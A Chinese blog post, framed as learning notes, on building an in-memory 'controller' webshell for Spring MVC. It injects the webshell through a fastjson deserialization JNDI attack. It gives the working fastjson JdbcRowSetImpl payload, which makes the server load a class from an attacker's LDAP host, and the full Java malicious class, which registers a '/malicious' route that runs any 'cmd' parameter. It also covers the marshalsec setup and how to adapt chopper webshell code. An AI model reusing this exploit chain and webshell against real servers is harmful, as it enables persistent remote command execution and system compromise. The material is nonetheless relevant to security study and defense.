针对spring mvc的controller内存马-学习和实验
1 基础
实际上java内存马的注入已经有很多方式了,这里在学习中动手研究并写了一款spring mvc应用的内存马。一般来说实现无文件落地的java内存马注入,通常是利用反序列化漏洞,所以动手写了一个spring mvc的后端,并直接给了一个fastjson反序列化的页面,在假定的攻击中,通过jndi的利用方式让web端加载恶意类,注入controller。一切工作都是站在巨人的肩膀上,参考文章均在最后列出。
1.1 fastjson反序列化和JNDI
关于fastjson漏洞产生的具体原理已有很多分析文章,这里使用的是fastjson1.24版本,poc非常简单
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}
当web端使用fastjson对上面的json进行反序列化时,受到@type
注解的指示,会通过反射创建com.sun.rowset.JdbcRowSetImpl
类的对象,基于fastjson的机制web端还会自动调用这个对象内部的set方法,最后触发JdbcRowSetImpl类中的特定set方法,访问dataSourceName指定的服务端,并下载执行服务端指定的class文件,细节这里不做更详细的展开。
1.2 向spring mvc注入controller
学习了listener、filter、servlet的内存马后,想到看一看spring相关的内存马,但没有发现直接给出源代码的controller型内存马,所以学习并动手实现了一下。
首先站在巨人的肩膀上,可以知道spring mvc项目运行后,仍然可以动态添加controller。普通的controller写法如下
通过@RequestMapping注解标明url和请求方法,编译部署后,spring会根据这个注解注册好相应的controller。动态注入controller的核心步骤如下
public class InjectToController{
public InjectToController(){
// 1. 利用spring内部方法获取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 从context中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 通过反射获得自定义 controller 中的 Method 对象
Method method2 = InjectToController.class.getMethod("test");
// 4. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
// 5. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 6. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
public void test() {
xxx
}
}
步骤1中的context可以理解为web端处理这个请求时,当前线程内所拥有的各种环境信息和资源
步骤2中获取的mappingHandlerMapping对象是用于注册controller的
步骤3中的反射是为了获得test这个Method对象,以便动态注册controller时,告知接收到给定url路径的请求后,用那个Method来处理,其中InjectToController类就是我们的恶意类
步骤4定义的url对象是为了指定注入url,这个url就是我们的内存马路径
步骤5是告知注入的url允许的请求方法
步骤6中RequestMappingInfo填入的信息类似于@RequestMapping注解中的信息,即url、允许的请求方法等。是真正注册controller的步骤
InjectToController这个类就是我们的恶意类,其中定义了test方法,这个方法内存在执行命令,当然也可以替换成冰蝎、哥斯拉的webshell核心代码,以便使用这两个工具。InjectToController的完整代码在后面的章节可见
1.3 获取request和response
常用的jsp一句话webshell代码如下
java.lang.Runtime.getRuntime().exec(request.getParameters("cmd"));
由于jsp文件被执行时,会自动获得了request这个资源,所以一句话木马不需要考虑如何获取request这个对象。但在我们注入controller的流程中,恶意java类的编译是由攻击者完成的,web端直接执行编译好的class文件,显然不可能像上面图片中用注解的方式在让test方法(InjectToController中的)的参数自带request, 所以再一次站在巨人的肩膀上https://www.jianshu.com/p/89b0a7c11ee2 ,通过spring的内部方法获取到request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
如果spring mvc项目部署在tomcat下,也可以用针对tomcat获取requeset的方法,例如从ThreadLocal、Mbean和Thread.getCurrentThread获取(后方参考文献中已给出)
1.4 阻止重复添加controller (非必须)
经过调试发现,上面获取的mappingHandlerMapping中有一个mappingRegistry成员对象,而该对象下的urlLookup属性保存了已经注册的所有url路径,对mappingHandlerMapping进一步后发现,以上对象和属性都是私有的,且mappingRegistry并非mappingHandlerMapping中创建的,而是来自于基类AbstractHandlerMethodMapping。
所以对AbstractHandlerMethodMapping的源码进行了一番查看,发现通过其getMappingRegistry方法可以获取mappingRegistry,而urlLookup是其内部类MappingRegistry的私有属性,可以通过反射获取。
反射获取urlLookup和判断我们给定的url是否被注册的代码块如下
// 获取abstractHandlerMethodMapping对象,以便反射调用其getMappingRegistry方法
AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
// 反射调用getMappingRegistry方法
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Object mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
// 反射获取urlLookup属性
Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
field.setAccessible(true);
Map urlLookup = (Map) field.get(mappingRegistry);
// 判断我们想要注入的路径是否被已经存在
Iterator urlIterator = urlLookup.keySet().iterator();
List<String> urls = new ArrayList();
while (urlIterator.hasNext()){
String urlPath = (String) urlIterator.next();
if ("/malicious".equals(urlPath)){
System.out.println("url已存在");
return;
}
}
2 实验
2.1 搞个spring mvc的测试环境
这里用idea做了一个maven+spring mvc+tomcat的测试环境,方便随时换spring、fastjson和tomcat的版本。这个Web应用的功能有两个:
- /home/postjson,可以输入json并POST给/home/readjson
- /home/readjson,使用fastjson解析json,触发反序列化的rce
2.2 恶意类源代码
通过JNDI注入让服务端执行的代码如下
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
public class InjectToController {
// 第一个构造函数
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 可选步骤,判断url是否存在
AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Object mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
field.setAccessible(true);
Map urlLookup = (Map) field.get(mappingRegistry);
Iterator urlIterator = urlLookup.keySet().iterator();
List<String> urls = new ArrayList();
while (urlIterator.hasNext()){
String urlPath = (String) urlIterator.next();
if ("/malicious".equals(urlPath)){
System.out.println("url已存在");
return;
}
}
// 可选步骤,判断url是否存在
// 2. 通过反射获得自定义 controller 中test的 Method 对象
Method method2 = InjectToController.class.getMethod("test");
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
// 第二个构造函数
public InjectToController(String aaa) {}
// controller指定的处理方法
public void test() throws IOException{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 获取cmd参数并执行命令
java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
- 由于fastjson反序列化时,自动下载并执行编译好的class文件,所以要在构造函数中写入注册controller的步骤
- 反序列化时自动触发的构造函数是第一个构造函数,因为没有带参数
- 由于registerMapping方法注册controller时需要给一个对象和这个对象内部的处理方法,而web端只下载了InjectToController这个类,再来一次JNDI去获取一个恶意类属实麻烦,所以用了
InjectToController injectToController = new InjectToController("aaa");
,这样就会进入第二个构造函数,而不会进入第一个构造函数无限循环。
2.3 测试
启动spring mvc项目,访问/项目/malicious路径,返回404
使用marshalsec开一个ldap的服务,并指定/Exploit这个reference对应的路径为192.168.x.x:8090/#InjectToController,再用python开一个web文件服务器
编译InjectToController.java,将编译好的class文件放到python开的web文件服务根目录下,访问/项目/home/postjson,并提交payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.x.x:1389/Exploit","autoCommit":true}
payload提交后,会被fastjson进行反序列化,在这个过程中会触发JdbcRowSetImpl中的connect函数,并根据给定的dataSourceName发起LDAP请求,从开启的给定的LDAP服务端(1389端口)获得恶意类的地址,再去下载并执行恶意类(8090端口),可以看到payload攻击成功了
访问/malicious这个uri确定一下
2.4 注入菜刀代码
只需要找一匹稳定的jsp菜刀马,稍加改造:
- 把菜刀马的函数定义放在恶意类中
- 在注入的controller代码中加入菜刀马的判断和执行部分(上面的test方法中)
- 注意jsp菜刀马最后的out.print(sb.toString());改为response.getWriter().write(sb.toString());response.getWriter().flush();
2.5 注入冰蝎代码
待施工
参考文献
https://www.anquanke.com/post/id/198886#h3-12
https://www.jianshu.com/p/89b0a7c11ee2
https://github.com/mbechler/marshalsec
https://lalajun.github.io/2019/12/30/java反序列化-fastjson/
针对spring mvc的controller内存马-学习和实验的更多相关文章
- 针对Spring MVC的Interceptor内存马
针对Spring MVC的Interceptor内存马 目录 针对Spring MVC的Interceptor内存马 1 基础拦截器和调用流程的探索 1.1 基础拦截器 1.2 探索拦截器的调用链 1 ...
- spring mvc 及NUI前端框架学习笔记
spring mvc 及NUI前端框架学习笔记 页面传值 一.同一页面 直接通过$J.getbyName("id").setValue(id); Set值即可 二.跳转页面(bus ...
- Spring mvc框架 controller间跳转 ,重定向 ,传参
一.需求背景 1. 需求:spring MVC框架controller间跳转,需重定向.有几种情况:不带参数跳转,带参数拼接url形式跳转,带参数不拼接参数跳转,页面也能显示. @Req ...
- spring mvc在Controller中获取ApplicationContext
spring mvc在Controller中获取ApplicationContext web.xml中进行正常的beans.xml和spring-mvc.xml的配置: 需要在beans.xml中进行 ...
- Spring MVC 之@Controller@RequestMapping详解
一:配置web.xml 1)问题:spring项目中有多个配置文件mvc.xml dao.xml 2)解决:在web.xml中 <init-param> <param-name& ...
- 如何开始创建第一个基于Spring MVC的Controller
万事开头难,良好的开端是成功的一半! 以下示例怎么开始创建我们的第一个Spring MVC控制器Controller 1.新建一个java类,命名为:MyFirstController,包含以下代码, ...
- 通过拦截器Interceptor实现Spring MVC中Controller接口访问信息的记录
java web工程项目使用了Spring+Spring MVC+Hibernate的结构,在Controller中的方法都是用于处理前端的访问信息,Controller通过调用Service进行业务 ...
- Spring MVC Test -Controller
http://www.petrikainulainen.net/programming/spring-framework/unit-testing-of-spring-mvc-controllers- ...
- spring mvc 的Controller类默认Scope是单例(singleton)的
使用Spring MVC有一段时间了,之前一直使用Struts2,在struts2中action都是原型(prototype)的, 说是因为线程安全问题,对于Spring MVC中bean默认都是(s ...
随机推荐
- 谈谈react hooks的优缺点
前言Hook 是 React 16.8 的新增特性.它是完全可选的,并且100%向后兼容.它可以让你使用函数组件的方式,运用类组件以及 react 其他的一些特性,比如管理状态.生命周期钩子等.从概念 ...
- Web操作摄像头、高拍仪、指纹仪等设备的功能扩展方案
摘要:信息系统开发中难免会有要操作摄像头.高拍仪.指纹仪等硬件外设,异或诸如获取机器签名.硬件授权保护(加密锁)检测等情况.受限于Web本身运行机制,就不得不使用Active.浏览器插件进行能力扩展了 ...
- WordPress伪静态规则设置
伪静态:即网站本身是动态网页如.php..asp..aspx等格式,而这类网页还带"?"加参数来读取数据库.开启伪静态后,动态网页即被转换重写成静态网页类型页面. WordPres ...
- POJ2431贪心(最少加油次数)
题意: 给一个终点,然后给你一个卡车距离终点的距离,还有其他个加油站距离终点的距离,然后每走一个单位距离要花费一个单位油,卡车的邮箱是无限大的,而每个加油站的油量是有限的,整个路径是一个 ...
- PhpMyWind储存型XSS漏洞练习(CVE-2017-12984)
0x01 介绍 又是一款开源CMS内容管理系统PhpMyWind,在小于等于5.4版本中存在储存型XSS漏洞.如下图所示,这个就是发生储存型XSS漏洞的代码 0x02 演示 1.第一张图是客户留言时, ...
- UVA11992不错的线段树段更新
题意: 给你一个矩阵,最大20*50000的,然后有三个操作 1 x1 y1 x2 y2 v 把子矩阵的值全部都加上v 2 x1 y1 x2 y2 v 把子矩阵的值全部都变成v 2 x ...
- Dubbo原理剖析 之 @DubboReference.version设置为*
原文链接 Dubbo原理剖析 之 @DubboReference.version设置为* 1 背景 Dubbo在消费端提供了一个功能,即将消费者的版本号指定为*,那么不管服务端的接口版本是啥,都可以调 ...
- 码农飞升记-03-OpenJDK是什么?
目录 1.OpenJDK 概述 2.OpenJDK 的发展史 3.OpenJDK Community 1.角色定义 Participant(参与者) Contributor(贡献者) OpenJDK ...
- 一个或多个listeners启动失败,更多详细信息查看对应的容器日志文件
碰到这个问题很多次,每次碰到都是去百度找.但是,不尽人意,好在最后还是解决了,所以写下总结. 报错内容: org.apache.catalina.core.StandardContext.startI ...
- php 实现图片下载,文件下载
1.控制器public function downPic(){ $filename = input('file','','string'); //文件所在路径 // 检查文件是否存在 if (! fi ...